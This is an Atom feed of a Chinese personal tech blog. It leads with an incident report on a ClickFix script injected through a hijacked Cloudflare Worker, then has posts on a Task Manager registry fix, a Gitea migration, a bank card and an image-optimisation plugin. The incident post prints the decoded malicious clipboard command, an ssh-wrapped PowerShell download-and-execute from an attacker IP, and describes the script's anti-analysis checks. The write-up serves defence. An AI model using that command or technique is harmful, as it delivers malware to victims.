<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://blog.mckero.com/</id>
  <title type="text">MC_Kero blog</title>
  <subtitle type="text">MC_Kero的博客，有时候会写点文章</subtitle>
  <updated>2026-11-10T00:00:00.000Z</updated>
  <author><name>MC_Kero</name></author>
  <link rel="alternate" href="https://blog.mckero.com/"/>
  <link rel="self" href="https://blog.mckero.com/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://blog.mckero.com/posts/clickfix-incident/</id>
      <title type="text">我的博客被挂了三天马，而我毫不知情</title>
      <published>2026-11-10T00:00:00.000Z</published>
      <updated>2026-11-10T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/clickfix-incident/"/>
      <summary type="text">一次完整的应急响应记录：从抓包里发现 131 个鬼请求，到解密出一条针对 Windows 用户的剪贴板木马，再到审计日志里揪出泄露的 API Token。附全部排查过程和教训。</summary>
      <content type="html"><![CDATA[<section><h1>我的博客被挂了三天马，而我毫不知情<a href="#我的博客被挂了三天马而我毫不知情"><span>#</span></a></h1><section><h2>事情的开始是 131 个鬼请求<a href="#事情的开始是-131-个鬼请求"><span>#</span></a></h2><p>11 月 7 号晚上我随手抓了个包，本意是看看博客加载 performance，结果 DevTools 的网络面板里躺着一条我不认识的请求，在被反复调用：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET /_r/sv?sid=489rccrincjrkcgr</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一次浏览，131 次，每 3 秒一次，返回永远是 <code>{"done":false}</code>。</p><p>我博客是 Astro 静态站，部署在 Cloudflare 上，全站没有一个动态接口。<code>/_r/</code> 这个路径不是我写的，主题没有，依赖也没有。一个纯静态站每 3 秒轮询一个不存在的接口，这不叫可疑，这叫出事了。</p></section><section><h2>先冤枉了 JS 库<a href="#先冤枉了-js-库"><span>#</span></a></h2><p>第一反应是某个 npm 依赖被投毒了。我把整个源码仓库 grep 了一遍，没有。lockfile 检查了 registry 和完整性，没问题。git 历史翻了一遍，最后一次提交是 11 月 1 号，干干净净。</p><p>然后我发现问题根本不在代码里。那个恶意脚本不走任何外部 JS 文件，它直接被缝在了我每个页面的 HTML 里——<code>&lt;/body&gt;</code> 前面多了一段 56KB 的内联 <code>&lt;script&gt;</code>，博文页、归档页，全中。</p></section><section><h2>这 里面 里藏了什么<a href="#这-里面-里藏了什么"><span>#</span></a></h2><p>这段脚本写得相当鸡贼。它先跑十几项环境检测：是不是无头浏览器、有没有 Selenium 痕迹、GPU 渲染器是不是虚拟机、<strong>DevTools 开没开</strong>。任何一项不过，它就装死，什么都不干。</p><p>这意味着：扫描器看它没问题，安全研究员开着 F12 看它也没问题，<strong>我平时自己调试的时候看它也没问题</strong>。它只对”看起来是真实人类、用 Windows、页面可见、没开开发者工具”的访客生效。</p><p>全部通过后，它用一段 XOR + Base64 把真正的载荷解出来，扔进 <code>new Function()</code> 里执行。我把密文拎出来解了一下，解出来的东西让我后背发凉：</p><p>它会在页面上弹一个<strong>高仿 Cloudflare 的人机验证框</strong>——就是那种”确认您是真人”的复选框，连样式都照着抄的。你一勾选，它就悄悄把你剪贴板里的东西换成一条命令，然后弹出行图指引：按 <code>Win + R</code>，粘贴，回车，“完成验证”。</p><p>而那条被塞进剪贴板的命令，解码后长这样：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh -o "ProxyCommand=powershell -NoProfile -Command $p = irm 056.076.0241.071/velcap4a ..." nobody@127.0.0.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>几个阴间的细节：</p><ul>
<li><code>056.076.0241.071</code> 是<strong>八进制写法的 IP</strong>，换算过来是 <code>46.62.161.57</code>。<code>irm</code> 下载、<code>iex</code> 执行，下载即运行，不留文件。</li>
<li>套一层 <code>ssh</code> 外壳纯属伪装——在一个技术博客上，一条 ssh 命令看起来太正常了。</li>
<li>它还按浏览器分了五个变体，Chrome、Edge、Firefox、Opera、Brave 各一份。</li>
<li>Mac 和 iPhone 用户它直接放过，剪贴板里写的是空字符串。专坑 Windows。</li>
</ul><p>这套手法有个名字，叫 ClickFix，微软 8 月发过专门的分析报告（TerminalFix 那个），后面通常接的是信息窃取木马或者远控。而那些被它骗了的人，是自己按下回车的——没有任何漏洞利用，纯社会工程学。</p><p>顺带一提，它还给攻击者留了后门：每 3 秒轮询一次 <code>/_r/sv</code>，服务端随时可以下发 <code>done: true</code> 让验证框消失。这就是我一开始看到的那 131 个请求——它在等攻击者的遥控指令。</p></section><section><h2>静态站，哪来的动态接口？<a href="#静态站哪来的动态接口"><span>#</span></a></h2><p>想明白这件事，案子就清楚了一半：<code>/_r/*</code> 下面一整套接口——下发配置的、上报访客 IP 的（先请求 api.ipify.org 拿到你的真实 IP 再上报）、行为遥测的、远程开关——<strong>静态托管根本生成不了这些</strong>。有人在我的域名前面加了一层。</p><p>而且有个细节帮我锁死了结论：我拿 11 月 7 号（感染时）和 11 月 10 号（恢复后）的同页面 HTML 做了字节级 diff——除了那段恶意脚本，<strong>一字不差</strong>。我的构建产物从头到尾是干净的，注入发生在请求返回的路上。</p><p>那就只剩一个地方：Cloudflare。</p></section><section><h2>打开后台，Workers 全没了<a href="#打开后台workers-全没了"><span>#</span></a></h2><p>上 Cloudflare 一看，好家伙，账号里 11 个 Worker 少得只剩 3 个，Pages 项目倒是都在。KV 的命名空间还孤零零地活着。</p><p>翻审计日志，整件事的剧本如下：</p><ul>
<li><strong>10 月 14 号</strong>，我创建了一个 API Token（就是给某个一键部署面板用的那种，你懂的）</li>
<li><strong>11 月 7 号 00&lt;14&gt;</strong>，有人拿着这个 Token 从墨西哥的 IP 进来，4 分钟内一气呵成：创建恶意 Worker → 删掉我原有的 radio 和 tle 两条路由 → 挂上<strong>通配符路由 <code>*mckero.com/*</code></strong>。从这一刻起，我整个域名的所有流量都要先过他的 Worker</li>
<li>接下来三天，他从全球 30 多个 IP（乌克兰、巴西、印度，还有 AWS 的机器）每 2~6 个小时更新一版脚本，共 25 次部署、23 次更新</li>
<li><strong>11 月 9 号 15&lt;06&gt;</strong>，一分钟内，10 个国家的 IP 把我的 11 个 Worker 连同他自己那个全删了，跑路</li>
<li>全程 75 次操作，全部成功。我的博客被劫持了 63 个小时，而我是在第 21 个小时”碰巧”抓包撞见的，又过了两天才发现真相</li>
</ul><p>他连 Worker 的名字都懒得取——<code>cf-w-ec9b1215</code>，直接拿我的账号 ID 前缀命名的，这是一键部署面板的自动命名规则。也就是说，<strong>他作案用的工具，很可能就是泄露我 Token 的那套面板生态</strong>。左手偷钥匙，右手开门，还是同一扇。</p></section><section><h2>教训<a href="#教训"><span>#</span></a></h2><ol>
<li><strong>永远不要把 API Token 粘给第三方部署面板。</strong> 不管那个面板看起来多少人用过、教程写得多好。Token 一旦出门，账号就不属于你了。这次的泄露源十有八九就是它。</li>
<li>Token 要最小权限、设过期、一个用途一个。这次攻击者拿到 Token 后只在 Workers 权限里折腾（审计日志里 DNS、SSL 都没动），算是不幸中的万幸。</li>
<li>给博客加上 CSP（<code>script-src 'self'</code> + nonce），内联脚本直接拒执行。这次要是有 CSP，那 56KB 就是一段废代码。</li>
<li>弄个一行的定时巡检：<code>curl 你的博客 | grep -c "可疑特征"</code>，结果非 0 就报警。这次木马存活了 63 小时，其实第 1 个小时就该被发现。</li>
<li>如果你 11 月 7 号到 9 号之间用 Windows 访问过我的博客，并且真的勾了那个”人机验证”、按了 Win+R 粘贴回车——请把那台机器当作已失陷处理：断网、杀毒、改密码。没按过的只是虚惊一场。</li>
<li>开2FA</li>
</ol><p>现在站已经恢复干净了，Worker 在慢慢重建，Token 换成了最小权限的。域名还在（不算坏结局）
就是以后看到”确认您是真人”的复选框，手会停顿那么一下。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/win10-taskmgr-details-crash/</id>
      <title type="text">Win10 任务管理器点“详细信息”秒退的排查与修复</title>
      <published>2026-10-03T00:00:00.000Z</published>
      <updated>2026-10-03T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/win10-taskmgr-details-crash/"/>
      <summary type="text">Win10 任务管理器简略模式正常，一点“详细信息”就闪退。最终定位到注册表 Run 启动项中 Claude Desktop 的数据格式错误，修正后恢复。本文记录排查过程、sfc/DISM 修复，以及下载假冒 taskmgr.exe 木马的安全教训。</summary>
      <content type="html"><![CDATA[<section><h2>问题现象<a href="#问题现象"><span>#</span></a></h2><p>我的 Win10 出现了一个怪问题：</p><ul>
<li>任务管理器在<strong>简略模式</strong>下一切正常</li>
<li>一点“<strong>详细信息</strong>”，大约一秒后窗口就闪退</li>
<li>运行 <code>sfc /scannow</code>，提示“找到了损坏文件，但其中有一些文件无法修复”</li>
</ul><p>一开始我以为是系统文件坏了，甚至怀疑过中毒，折腾了不少时间。</p></section>
<section><h2>真正的直接原因：启动项注册表格式错误<a href="#真正的直接原因启动项注册表格式错误"><span>#</span></a></h2><p>任务管理器的“详细信息”模式会加载“启动”选项卡，读取开机自启程序列表。这些信息来自注册表：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我检查后发现，<strong>Claude Desktop</strong> 写入的启动项数据格式不对，引号被多转义了一层：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"\"C:\Users\用户名\AppData\Local\AnthropicClaude\claude.exe\" --startup"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这种格式不符合 Windows 规范，任务管理器解析到它就直接崩溃。简略模式不读取启动项，所以小窗口能正常打开，这也解释了“只有点详细信息才闪退”。</p><p>这个思路最初来自 CSDN 上洛君No.1 的一篇文章（<a href="https://deepseek.csdn.net/6a312a85662f9a54cb7ff67d.html" target="_blank">Win10 任务管理器点击“详细信息”崩溃 + U盘 PPTX 无法删除/复制（0x800700EA）问题排查</a>），他指出此类问题常见于 Claude Desktop 等 Electron 类客户端。不过他文中还提到 U 盘 PPTX 无法删除的问题，我并没有这个症状，所以本文只讲任务管理器闪退。</p></section>
<section><h2>解决步骤<a href="#解决步骤"><span>#</span></a></h2><ol>
<li>按 <code>Win + R</code>，输入 <code>regedit</code>，回车。</li>
<li>定位到 <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>（修改前建议先右键该项导出备份）。</li>
<li>找到名为 <code>Claude</code> 的值，双击，把“数值数据”改成正确格式：</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"C:\Users\用户名\AppData\Local\AnthropicClaude\claude.exe" --startup</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>注意：路径要换成你自己的实际路径，并且去掉引号前多余的反斜杠 <code>\</code>。</p></blockquote><ol>
<li>确定后，直接打开任务管理器，切换到“详细信息”，不再闪退。</li>
<li>如果仍不行，可以直接<strong>删除</strong>这个启动项。这不影响手动打开 Claude，只是不再开机自启。</li>
</ol></section>
<section><h2>顺带发现：系统文件损坏<a href="#顺带发现系统文件损坏"><span>#</span></a></h2><p><code>sfc /scannow</code> 提示有文件无法修复，说明系统组件存储可能有问题。可以用管理员身份打开命令提示符，依次执行：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>DISM /Online /Cleanup-Image /RestoreHealth</span></div></div><div><div><div>2</div></div><div><span>sfc</span><span> /scannow</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果仍然无法修复，建议先备份重要数据，再考虑重装系统。</p></section>
<section><h2>一个重要的安全提醒<a href="#一个重要的安全提醒"><span>#</span></a></h2><p>排查过程中，我曾想“替换”任务管理器，从网上下载过一个 <code>taskmgr.exe</code>，并把它上传到在线沙箱分析。结果让我后背发凉：</p><ul>
<li>文件被 PECompact2 加壳</li>
<li>内存中释放 Shellcode</li>
<li>带有反调试、反沙箱行为</li>
<li>会连接外部 C2 服务器</li>
<li>创建互斥体 <code>NTShell Taskman Startup Mutex</code></li>
</ul><p>沙箱判定它是 <strong>NTShell 远程控制木马</strong>。</p><p>好在我只是下载后上传分析，<strong>从未在本机运行或安装</strong>，所以它和我最初的闪退问题无关。但这件事提醒我们：</p><ul>
<li><strong>不要从网上下载 <code>taskmgr.exe</code> 之类的系统组件</strong>，这类下载站是木马的重灾区</li>
<li>系统自带工具损坏，应使用 <code>sfc</code>、<code>DISM</code> 修复，或从干净的同版本系统中获取</li>
<li>下载过可疑文件的话，及时删除并用杀毒软件扫描</li>
<li>想要功能更强的替代品，可以用微软官方的 <strong>Process Explorer</strong>（Sysinternals 出品）</li>
</ul></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2>

<table><thead><tr><th>问题</th><th>原因</th><th>处理方式</th></tr></thead><tbody><tr><td>任务管理器点“详细信息”闪退</td><td>Claude Desktop 启动项在注册表中格式错误</td><td>修正格式或删除该项</td></tr><tr><td><code>sfc</code> 无法修复损坏文件</td><td>系统组件存储损坏</td><td>DISM 修复，无效则重装</td></tr><tr><td>网上下载的 <code>taskmgr.exe</code></td><td>NTShell 木马（未运行）</td><td>删除，切勿运行</td></tr></tbody></table><p>整件事说明，<strong>任务管理器闪退不一定是病毒或系统彻底坏了</strong>，很可能只是一条格式错误的启动项。先查注册表 <code>Run</code> 项，往往几分钟就能解决。希望这篇文章能帮到同样被困扰的朋友。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/use-gitea/</id>
      <title type="text">从github迁移到gitea</title>
      <published>2026-10-02T00:00:00.000Z</published>
      <updated>2026-10-02T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/use-gitea/"/>
      <summary type="text">因为 GitHub 汉化脚本失效、国内访问困难，我把仓库迁到了自部署的 Gitea。本文记录迁移原因、部署过程、镜像配置与初步体验，也聊聊为什么没选 GitLab 和国内平台。</summary>
      <content type="html"><![CDATA[<section><h1>从github迁移到gitea<a href="#从github迁移到gitea"><span>#</span></a></h1><p>最近我也是把仓库从<strong>GitHub</strong>迁移到 <strong>Gitea</strong>了。<br />
我实在是受不了了！</p></section>
<section><h1>迁移原因<a href="#迁移原因"><span>#</span></a></h1><section><h2>1.GitHub没有中文<a href="#1github没有中文"><span>#</span></a></h2><p>虽然我了解过有<strong>脚本可以汉化</strong></p><a href="https://github.com/maboloshi/github-chinese" target="_blank"><div><div><div><div></div><div>maboloshi</div></div><div>/</div><div>github-chinese</div></div><div></div></div><div>GitHub 汉化插件，GitHub 中文化界面。 (GitHub Translation To Chinese)</div><div><div>—</div><div>—</div><div>GPL-3.0</div><span>JavaScript</span></div></a><p>但是我按照脚本的教程<strong>安装并开启</strong>后仍然没有中文！！！！！！</p><blockquote><p>死活不行，重启也试过了。<strong>这彻底击垮了我！</strong></p></blockquote></section><section><h2>2.世界上最快的的访问速度<a href="#2世界上最快的的访问速度"><span>#</span></a></h2><p>这几天啊，<strong>GitHub</strong>死活访问不了。<br />
当然！这也不是<strong>GitHub</strong>的问题。哈哈哈🙃</p></section></section>
<section><h1>迁移过程<a href="#迁移过程"><span>#</span></a></h1><p>我迁移不是因为隐私问题（可能也有个25%吧），而是因为。这个原来的GitHub不好。市面上有那么多的方案，为什么我就选择了Gitea？首先我觉得我可能是受到了Dn42（去中心化网络四十二号）的影响，因为他们的仓库就是用的Gitea！<br />
为什么不选择GitLab？因为我听那个up主说这个平台。这个特别烂，然后各种逻辑也特别怪。但是我看了一下他的还算圆滑，还算漂亮，但是逻辑的话呢，我实在是忍不了。  各有各的好处吧，我听别人说这个平台也比较好用的。我看这个特别圆滑。我也想玩一玩！</p><blockquote><p>我猜有人可能会问我为什么不用国内平台？
但是我想说的是如果这个平台好，为什么国内的人不去用它？为什么那么多项目都放在GitHub？我没有去恶意抹黑。这是个事实。✅</p></blockquote><p>最后我下定决心，<strong>迁移！！！</strong>
其实部署<strong>Gitea</strong>很简单，按照<a href="https://docs.gitea.com/zh-cn/" target="_blank">文档</a>照猫画虎就行。<br />
我研究了一小会儿，跟着文档走，文档说的很全。</p></section>
<section><h1>体验<a href="#体验"><span>#</span></a></h1><p>进来后这个界面挺清爽的。除了主界面和GitHub有点区别以外（没有神秘的副驾驶 AI 了🙂）。上方的侧边栏其实都差不多特别熟悉啊。感觉就是扒了一层皮下来。</p><p>我也是马上克隆了我的仓库，设置了一些镜像。方便我关注一些原来在GitHub的项目。我也设置了一些推送镜像，方便我在我自己部署的Gitea提交后它会推送到GitHub仓库，防止我这边炸掉了。（相信GitHub不会炸！wow🙃）</p></section>
<section><h1>结语<a href="#结语"><span>#</span></a></h1><p>这篇文章也是比较。水我最近的文章风格都是这样子的，然后请原谅我没有用太多的图片，因为用图片太麻烦了，我要先把图片截图，然后呢存在本地，然后再上传到R2。引用回我的编辑器。  （静态博客就是这样子的。如果没有这样子的流程的话呢，我的博客也不可能活那么久。）（因为静态博客的话，我现在完全依附在cf，只有域名需要我每年续费）</p><p>这实在也是比较麻烦。我其实也想写一篇文章，。说这种情况，但是想了想算了吧，这个每次码字也好累，我这篇文章用的是openARS的听说功能。（我只是简单纠力纠错，排了排版）</p><blockquote><p>相信有些人已经感觉出来了，这篇文章特别的口语化。hhhhh</p></blockquote><p>总之目前已经尘埃落定了。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/chinamerchantsbankdebitmastercardstandardcard/</id>
      <title type="text">招商银行的万事网联卡</title>
      <published>2026-08-18T00:00:00.000Z</published>
      <updated>2026-08-18T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/chinamerchantsbankdebitmastercardstandardcard/"/>
      <summary type="text">招商银行万事达借记卡（普卡 / 金葵花卡）使用体验与权益整理：纯人民币结算、境内走万事网联可绑微信支付宝、支持 3DS、预授权冻结 100%。</summary>
      <content type="html"><![CDATA[<section><h1>招商银行的万事网联卡<a href="#招商银行的万事网联卡"><span>#</span></a></h1><div><div><div></div><div>Note</div></div><div><p>本文信息仅供参考，均为个人使用体验，可能随政策调整而失效。
本文只讨论<strong>借记卡（Debit Card）</strong>。</p></div></div><section><h2>招商银行万事达卡<a href="#招商银行万事达卡"><span>#</span></a></h2><p>招行这张万事达卡目前有两个版本：<strong>普卡</strong>与<strong>金葵花卡</strong>。</p>

<table><thead><tr><th></th><th>普卡</th><th>金葵花卡</th></tr></thead><tbody><tr><td>卡 BIN</td><td><code>534293</code></td><td><code>531063</code></td></tr><tr><td>办卡门槛</td><td>无</td><td>需验资 <strong>50 万 CNY</strong></td></tr><tr><td>结算币种</td><td>人民币</td><td>人民币</td></tr></tbody></table><section><h3>普卡（卡 BIN 534293）<a href="#普卡卡-bin-534293"><span>#</span></a></h3><section><h4>核心优势<a href="#核心优势"><span>#</span></a></h4><ul>
<li><strong>无需换汇</strong>：纯人民币结算</li>
<li><strong>双通道</strong>：境内走万事网联（可绑微信、支付宝），境外走 Mastercard</li>
<li><strong>支持 3DS</strong></li>
<li>可绑定 Google Play（本人未实际消费，但 B 站有成功案例）</li>
<li><strong>预授权冻结 100%</strong>，这一点优于多数卡</li>
</ul></section><section><h4>卡片权益<a href="#卡片权益"><span>#</span></a></h4>

<table><thead><tr><th>权益</th><th>说明</th></tr></thead><tbody><tr><td>境外汇率补贴返现</td><td><strong>5‰（0.5%）</strong>，有效期至 2026 年底</td></tr><tr><td>账户管理费</td><td>免收</td></tr><tr><td>货币兑换手续费</td><td>免收</td></tr><tr><td>境外 ATM 取现手续费</td><td>每月<strong>首笔</strong>免收</td></tr><tr><td>境外 ATM 查询手续费</td><td>免收（查余额）</td></tr></tbody></table><div><div><div></div><div>Important</div></div><div><p>关于 ATM 相关减免：推测仅免除<strong>招行侧</strong>手续费，<strong>收单行 / ATM 运营方</strong>仍可能单独收费。
返现活动是否在 2026 年后延期，官方暂无明确说明。</p></div></div><blockquote><p>实际使用体验良好，目前未遇到拒付：线上 CVV 支付、微信支付、支付宝均正常（境外线下尚未测试）。</p></blockquote></section></section><section><h3>金葵花卡（卡BIN 531063）<a href="#金葵花卡卡bin-531063"><span>#</span></a></h3><p>权益在普卡基础上<strong>有所增加</strong>，未提及的部分与普卡一致。</p>

<table><thead><tr><th>权益</th><th>说明</th></tr></thead><tbody><tr><td>境外 ATM 取现</td><td>每月<strong>前 3 笔</strong>手续费免收</td></tr><tr><td>境外汇款</td><td>免收汇款手续费，但<strong>少数费用仍需支付</strong></td></tr><tr><td>年费</td><td><strong>减免</strong>（具体期限请自行向柜面或客服核实）</td></tr></tbody></table></section></section><section><h2>总结<a href="#总结"><span>#</span></a></h2><p>这张卡的优点比较集中：</p><ol>
<li><strong>纯人民币结算</strong> —— 印象中是国内第一张以人民币结算的 Mastercard</li>
<li><strong>预授权冻结 100%</strong> —— 不必为预授权预留额外余额，且官方明确告知冻结比例</li>
<li><strong>3DS 完善</strong> —— 不用担心网站强制 3DS 时因卡片不支持而被拒付</li>
<li><strong>对未成年人较友好</strong> —— 手机银行可自助锁卡、开启境外支付，无需跑网点。权限虽有限，但总比没有好</li>
<li><strong>支持小额免密</strong> —— 开户时柜面主动询问并直接开通，出卡即可挥卡</li>
</ol><div><div><div></div><div>Tip</div></div><div><p>如果有人问我国内哪张万事达借记卡比较好，我会推荐<strong>招商银行万事达普卡</strong>。</p></div></div><p>后续会再写一篇更详细的文章，本篇更偏向于卡片介绍 😂</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/cloudflare-images/</id>
      <title type="text">用cloudflare Images做图片自转换</title>
      <published>2026-07-09T00:00:00.000Z</published>
      <updated>2026-07-09T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/cloudflare-images/"/>
      <summary type="text">这篇文章记录了博客图片方案的三次迭代：从依赖第三方 GitHub 镜像源的不稳定，到迁移至 Cloudflare R2 并手动转换 AVIF/WebP，再到最终利用 Cloudflare Images 实现图片自动格式转换、缩放与 CDN 长期缓存。同时分享了一段配合 Astro 的 rehype 插件代码，可在部署时自动为图片 URL 生成响应式 srcset 与最优格式，省去本地预处理步骤。</summary>
      <content type="html"><![CDATA[<section><h1>用cloudflare Images做图片自转换<a href="#用cloudflare-images做图片自转换"><span>#</span></a></h1><p>图片自动转换一直是我备忘录中的一条
自动转换大小，格式，然后长时间缓存在cdn。</p><section><h2>旧旧方案<a href="#旧旧方案"><span>#</span></a></h2><p><a href="https://blog.mckero.com/">本博客</a>最初用的是纯链接</p><blockquote><p>图片储存在github→第三方镜像源→链接</p></blockquote><p>这样做的好处是方便管理，没那么麻烦。</p><blockquote><p>但是，过程中的<strong>第三方github镜像源</strong>，<strong>在中国大陆方向优化实在是不理想</strong>。</p></blockquote><p>所以<strong>我就迁移到cloudflare r2了</strong></p></section><section><h2>旧方案<a href="#旧方案"><span>#</span></a></h2><p>在用<strong>cloudflare r2</strong>做图床的时候，我每次都创建文件夹（<strong>一个文章一个</strong>）
图片都在<strong>本地完成格式转换</strong>（<strong>90%转AVIF，10%转webP</strong>），全部长时间缓存在cdn。</p><p>但是，我看到了一个github项目（懒得翻找了，想找的可以去我的github仓库列表找）他可以部署在<strong>cloudflare worker</strong>上
通过在url层面的处理，就可以实现自动格式转换，裁剪，缩放。</p><blockquote><p>其实我就是闲着没事干，才用cloudflare Images，有开源的我不用，闲着没事跑来用有可能让我付费的</p></blockquote><section><h3>url处理<a href="#url处理"><span>#</span></a></h3><p>既然它是用url来处理的，那我的静态博客就要在部署事就把所有我原来在r2上的不是webp和avif的图片url进行处理。</p><p>这时候我问claude，它给我推荐了一个<code>rehypeImageOptimization</code>插件
这个插件可以通过配置文件来处理特定url</p><div><div><div><figure><figcaption><span>./rehype-image-optimization.mjs</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> { </span><span>visit</span><span> } </span><span>from</span><span> </span><span>'unist-util-visit'</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>rehypeImageOptimization</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>return</span><span><span> (</span><span>tree</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>visit</span><span><span>(</span><span>tree</span><span>, </span></span><span>'element'</span><span><span>, (</span><span>node</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>      </span><span>// 1. 基础防御：只处理 img 标签且有属性的</span></div></div><div><div><div>8</div></div><div><span>      </span><span>if</span><span><span> (</span><span>node</span><span>.</span></span><span>tagName</span><span> </span><span>!==</span><span> </span><span>'img'</span><span> </span><span>||</span><span> </span><span>!</span><span><span>node</span><span>.</span></span><span>properties</span><span>) </span><span>return</span><span>;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>      </span><span>const</span><span> </span><span>src</span><span> </span><span>=</span><span><span> </span><span>node</span><span>.</span></span><span>properties</span><span>.</span><span>src</span><span>;</span></div></div><div><div><div>11</div></div><div><span>      </span><span>if</span><span> (</span><span>!</span><span><span>src</span><span>) </span></span><span>return</span><span>;</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>      </span><span>let</span><span><span> </span><span>urlObj</span><span>;</span></span></div></div><div><div><div>14</div></div><div><span>      </span><span>try</span><span> {</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>urlObj</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>URL</span><span><span>(</span><span>src</span><span>);</span></span></div></div><div><div><div>16</div></div><div><span><span>      </span></span><span>} </span><span>catch</span><span><span> (</span><span>e</span><span>) {</span></span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>loading</span><span> </span><span>=</span><span> </span><span>'lazy'</span><span>;</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>decoding</span><span> </span><span>=</span><span> </span><span>'async'</span><span>;</span></div></div><div><div><div>19</div></div><div><span>        </span><span>return</span><span>;</span></div></div><div><div><div>20</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>      </span><span>// 2. 业务逻辑：只处理 img.mckero.com</span></div></div><div><div><div>23</div></div><div><span>      </span><span>if</span><span><span> (</span><span>urlObj</span><span>.</span></span><span>hostname</span><span> </span><span>!==</span><span> </span><span>'img.mckero.com'</span><span>) {</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>loading</span><span> </span><span>=</span><span> </span><span>'lazy'</span><span>;</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>decoding</span><span> </span><span>=</span><span> </span><span>'async'</span><span>;</span></div></div><div><div><div>26</div></div><div><span>        </span><span>return</span><span>;</span></div></div><div><div><div>27</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span>      </span><span>// 3. 不再跳过 WebP/AVIF —— Cloudflare 可以对任意源格式做尺寸缩放，</span></div></div><div><div><div>30</div></div><div><span>      </span><span>//    并通过 format=auto 自动为浏览器输出最优格式，所以全部走转换</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>      </span><span>// ============================================================</span></div></div><div><div><div>33</div></div><div><span>      </span><span>// ✅ 使用 Cloudflare Image Transformations（/cdn-cgi/image/）</span></div></div><div><div><div>34</div></div><div><span>      </span><span>// 直接在 img.mckero.com 上生效，不再依赖 opt.mckero.com Worker</span></div></div><div><div><div>35</div></div><div><span>      </span><span>// ============================================================</span></div></div><div><div><div>36</div></div><div><span>      </span><span>const</span><span> </span><span>generateCdnUrl</span><span> </span><span>=</span><span><span> (</span><span>targetWidth</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>37</div></div><div><span>        </span><span>const</span><span> </span><span>options</span><span> </span><span>=</span><span> </span><span>`width=</span><span>${</span><span>targetWidth</span><span>}</span><span>,format=auto,quality=80`</span><span>;</span></div></div><div><div><div>38</div></div><div><span>        </span><span>return</span><span> </span><span>`https://img.mckero.com/cdn-cgi/image/</span><span>${</span><span>options</span><span>}${</span><span>urlObj</span><span>.</span><span>pathname</span><span>}</span><span>`</span><span>;</span></div></div><div><div><div>39</div></div><div><span><span>      </span></span><span>};</span></div></div><div><div><div>40</div></div><div>
</div></div><div><div><div>41</div></div><div><span>      </span><span>// 生成四档 srcset</span></div></div><div><div><div>42</div></div><div><span><span>      </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>src</span><span> </span><span>=</span><span> </span><span>generateCdnUrl</span><span>(</span><span>800</span><span>);</span></div></div><div><div><div>43</div></div><div><span>      </span><span>const</span><span> </span><span>s500</span><span> </span><span>=</span><span> </span><span>generateCdnUrl</span><span>(</span><span>500</span><span>);</span></div></div><div><div><div>44</div></div><div><span>      </span><span>const</span><span> </span><span>s800</span><span> </span><span>=</span><span> </span><span>generateCdnUrl</span><span>(</span><span>800</span><span>);</span></div></div><div><div><div>45</div></div><div><span>      </span><span>const</span><span> </span><span>s1200</span><span> </span><span>=</span><span> 